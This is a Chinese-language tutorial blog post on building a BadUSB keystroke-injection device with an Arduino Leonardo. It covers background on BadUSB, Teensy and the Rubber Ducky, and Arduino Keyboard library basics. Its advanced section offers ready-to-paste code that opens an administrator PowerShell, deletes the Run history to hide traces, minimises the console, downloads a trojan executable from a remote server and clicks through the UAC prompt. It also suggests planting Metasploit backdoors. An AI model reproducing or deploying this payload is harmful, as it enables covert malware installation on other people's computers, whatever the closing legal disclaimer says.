利用Arduino快速制作Teensy BadUSB

0×00 介绍

本文想以较简单的方式，叙述Arduino版BadUSB的制作过程。我知道在这之前已经有很多前辈都写过相关的文章，但小白可能还有点迷糊，所以这篇文章是快速带大家入门了解，我也是菜B大神不要喷，谢谢~。

“BadUSB”是计算机安全领域的热门话题之一，该漏洞由Karsten Nohl和Jakob Lell共同发现，并在2014年的BlackHat安全大会上公布。 虽然已隔一两年，但还是有人在研究它，它的攻击方式也多种多样。

第一部分相关BadUSB介绍转载于：https://security.tencent.com/index.php/blog/msg/74

BadUSB原理

在介绍BadUSB的原理之前，笔者在这里先介绍下BadUSB出现之前，利用HID(Human InterfaceDevice，是计算机直接与人交互的设备，例如键盘、鼠标等)进行攻击的两种类型。分别是”USB RUBBERDUCKY”和”Teensy”。

TEENSY介绍

攻击者在定制攻击设备时，会向USB设备中置入一个攻击芯片，此攻击芯片是一个非常小而且功能完整的单片机开发系统，它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标，当你插入这个定制的USB设备时，电脑会识别为一个键盘，利用设备中的微处理器与存储空间和编程进去的攻击代码，就可以向主机发送控制命令，从而完全控制主机，无论自动播放是否开启，都可以成功。

关于TEENSY，可以参考天融信阿尔法实验室的《HID攻击之TEENSY实战》

USB RUBBER DUCKY介绍

简称USB橡皮鸭，是最早的按键注入工具，通过嵌入式开发板实现，后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘，让电脑识别成为键盘，然后进行脚本模拟按键进行攻击。

这两种攻击方式，是在BadUSB公布之前，比较流行的两种HID攻击方式，缺陷在于要定制硬件设备，通用性比较差。但是BadUSB就不一样了，它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备（比如U盘）。

U盘的内部构造

U盘由芯片控制器和闪存两部分组成，芯片控制器负责与PC的通讯和识别，闪存用来做数据存储；闪存中有一部分区域用来存放U盘的固件，它的作用类似于操作系统，控制软硬件交互；固件无法通过普通手段进行读取。

BadUSB就是通过对U盘的固件进行逆向重新编程，相当于改写了U盘的操作系统而进行攻击的。

USB协议漏洞

为什么要重写固件呢？下面我们可以看看USB协议中存在的安全漏洞。

现在的USB设备很多，比如音视频设备、摄像头等，因此要求系统提供最大的兼容性，甚至免驱；所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证，而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件，伪装成一个USB键盘，并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

BadUSB利用代码分析

笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。

这样一个带有恶意代码的U盘就产生了，更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。

0×01 制作过程

好的废话咱们不多说了，直接开始吧~我们就是利用Arduino制作TEENSY 。Arduino是让一种叫做单片机的小型可编程电脑尽可能简单地被使用，并且单片机可以让物体获得交互功能。

来看一下我们需要准备的材料吧

Arduino Leonardo //小型单片机模拟USB

Arduino IDE //用于烧录代码的编译器 http://www.arduino.cn/thread-5838-1-1.html

安卓数据线 //用于连接电脑USB

PC一台 //ok我们可以开工了

扩展：追求完美的同学可以考虑 ——超短micro转USB

Arduino Leonardo 单片机我们可以去各大电商平台上去淘，特别是什么货都有的电商平台，相信你绝对能找到的。

我本来已经买好micro转USB了 结果当我拿起他们两个准备啪啪啪的时候~~~~

当场蒙逼，告诉我为什么插不进去~~~~ 算了当作纪念吧 ，所以我先当个炮灰，希望其他小伙伴不要和我一样~~

感兴趣的可以考虑一下这个玩意 名字叫做OTG转接头 我已经再一次交出了我的身体 发现是真的。。。。 可以有！

好~大家先把arduino IDE先装好 安装过程很简单 就是下一步下一步，没什么难度。

安装好以后打开IDE。

打开我们的IDE

IDE改版后，启动界面也变了，以前的版本不是这样的。打开以后是这样子的：

那好我们就开始编写代码，不过在这之前我们要先把Arduino Leonardo插上。然后我们先保存一下这个项目文件，建议大家直接保存在桌面。

然后会在桌面上多出一个demo文件夹

文件夹内就是我们的demo文件。好~我们开始编写代码：

void setup() {

  // put your setup code here, to run once:

}

这段代码就是初始化我们的程序。

void loop() {

  // put your main code here, to run repeatedly:

}

这段代码是我们要循环的地方。

以上只是程序给我们搭好的框架，实际代码要我们自己去编写。我们让USB对电脑进行操作主要是想实现自动化键盘操作，所以我们这边就要用到arduino的键盘函数

#include<Keyboard.h>  //包含键盘模块的头文件

Keyboard.begin();  //开启键盘通信

Keyboard.press();  //按下某个键

Keyboard.release(); //释放某个键

Keyboard.println(); /*输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车，而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/

Keyboard.end();  //结束键盘通信

OK，以上就是我们主要使用到的函数。

那好现在我写一些简单代码，然后大家可以感性地知道 代码的含义：

#include<Keyboard.h> //包含键盘模块头文件

void setup(); //初始化

Keyboard.begin();//开始键盘通信

delay(1000);//延时1000毫秒，不要太短，因为每天电脑的运行速度都不一样 

Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题

Keyboard.release(KEY_CAPS_LOCK); //释放大写键

delay(500);

Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键 

delay(500); 

Keyboard.press('r');//按下r键 

delay(500); 

Keyboard.release(KEY_LEFT_GUI);//松掉win键 

Keyboard.release('r');//松掉r键 

delay(500); 

Keyboard.println("cmd");//输入cmd进入DOS

delay(500); 

Keyboard.press(KEY_RETURN);  //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(500); 

Keyboard.println("echo first test");

Keyboard.press(KEY_RETURN);  //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(500);

Keyboard.press(KEY_CAPS_LOCK); //按下大写键

Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键

delay(500);

Keyboard.end();//结束键盘通讯 

} 

void loop()//循环，这里的代码

{ 

//循环体 写入你要循环的代码

}

那好现在我们把代码写到IDE里面去。

然后我们要选择正确的开发板和COM口，每台电脑都不一样的。

一切准备就绪我们点击编译，看看程序是否能正常执行。

提示这些说明我们编译成功。

那么我们离成功就是最后一步了——上传。

上传成功后，电脑会自动断开USB，然后又会重新连接，那么 Arduino Leonardo就会自动运行了。

我们来看看： 首先开启大写键 然后打开了运行窗口 然后输入了CMD 接着要回车了

然后程序自己输入 echo first test 并且执行回车~~！！ 大功告成~！

以上就是利用Arduino Leonardo实现自动化的ehco操作，模拟一个BadUSB。

0×02 进阶

那么我分享一下我的代码——主要实现的功能就是从远程服务器上下载我们木马然后执行，并且不会产生记录，和网上的同学实现的目的是一样的，但代码可能有所偏差。好那么看代码，因为篇幅原因，我就直接贴出，主要实现代码块。

有需要的同学自行黏贴

Keyboard.println("powershell.exe -command start-process powershell -verb runAs");  /*开启管理员级别的powershell*/

Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); /*清除运行窗口产生的记录*/

Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口

Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象

Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')");  /*从服务端下载病毒 服务器地址和木马自己指定 还有木马将在目标机上存放的地址 自己设置*/

//自己想了一个比较笨的方法绕过UAC  就是询问管理员是否同意的那个框框

Keyboard.press(KEY_LEFT_ARROW); //按住左方向键

Keyboard.release(KEY_LEFT_ARROW); //释放左方向键

Keyboard.press(KEY_RETURN); //按下回车键

Keyboard.release(KEY_RETURN);//释放enter键

注意~

1.这里我们为什么要开管理员的powershell 是因为从服务端下载文件的时候 首先CMD不支持，其次就算我们在cmd里调用powershell 那也不是管理员身份下载会出错。所以我们这里要开管理员的powershell 其实下载文件的操作code还有很多种 我这里是一种 如果大家有更好的下载方式可以和我说 谢谢 命令千奇百怪大家自己发挥

2.另外要注意的地方是在IDE编程的时候，指定目录是要用\\ 双斜杠。

3.这些命令字母的大小写是这样的，因为我们在程序开头执行了开启大写键的这个操作 ，所以我们想还原真实的字母就要在IDE里面把小写的改成大写，大写的改成小写 这样程序输出的时候就是我们想要的结果

4.还有就是delay(); 延这个东西自己把握，不是说值都是唯一的。我这里可能相对来说比较慢

最后附上键值对照表

Key        Hexadecimal value    Decimal value
KEY_LEFT_CTRL       0x80         128
KEY_LEFT_SHIFT      0x81         129
KEY_LEFT_ALT        0x82         130
KEY_LEFT_GUI        0x83         131
KEY_RIGHT_CTRL      0x84         132
KEY_RIGHT_SHIFT     0x85         133
KEY_RIGHT_ALT       0x86         134
KEY_RIGHT_GUI       0x87         135
KEY_UP_ARROW        0xDA         218
KEY_DOWN_ARROW      0xD9         217
KEY_LEFT_ARROW      0xD8         216
KEY_RIGHT_ARROW     0xD7         215
KEY_BACKSPACE       0xB2         178
KEY_TAB             0xB3         179
KEY_RETURN          0xB0         176
KEY_ESC             0xB1         177
KEY_INSERT          0xD1         209
KEY_DELETE          0xD4         212
KEY_PAGE_UP         0xD3         211
KEY_PAGE_DOWN       0xD6         214
KEY_HOME            0xD2         210
KEY_END             0xD5         213
KEY_CAPS_LOCK       0xC1         193
KEY_F1              0xC2         194
KEY_F2              0xC3         195
KEY_F3              0xC4         196
KEY_F4              0xC5         197
KEY_F5              0xC6         198
KEY_F6              0xC7         199
KEY_F7              0xC8         200
KEY_F8              0xC9         201
KEY_F9              0xCA         202
KEY_F10             0xCB         203
KEY_F11             0xCC         204
KEY_F12             0xCD         205

当然我这边的代码还比较简单没有什么控制语句和其他函数，有兴趣的同学可以看看这方便的编程知识，让这个BadUSB更加智能，会判断。

大家也可以结合Metasploit 进行后门、木马的植入，或者一些批处理文件，把自己电脑搞得乱七八糟，哈哈…

本文可能存在攻击性，请勿用于非法用途。个人研究完全没问题，一切责任与本人无关，如有不足的地方希望指点，谢谢。

参考文献：

http://www.myhack58.com/Article/60/76/2014/56812.htm

http://zone.wooyun.org/content/17931

http://www.freebuf.com/articles/terminal/6182.html

https://security.tencent.com/index.php/blog/msg/74